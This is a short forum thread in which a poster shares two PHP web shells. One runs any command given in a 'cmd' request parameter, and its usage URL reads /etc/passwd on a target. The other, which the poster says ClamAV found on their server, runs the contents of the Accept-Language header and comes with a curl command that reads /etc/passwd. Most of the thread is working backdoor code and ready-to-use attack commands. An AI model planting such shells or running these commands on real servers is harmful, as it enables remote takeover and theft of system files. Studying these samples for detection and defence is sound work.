simple php backdoor

[Stevyn]

https://github.com/JohnTroony/php-websh ... ckdoor.php

Code: Select all

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

[Stevyn]

clamAV found this one on my server:

Code: Select all

<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>

https://informationonsecurity.blogspot. ... ading.html

example usage

Code: Select all

curl -H "Accept-Language: cat /etc/passwd" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13.3; rv:72.0) Gecko/20132121 Firefox/19.0" http://192.168.110.114/webshells/48bytes.php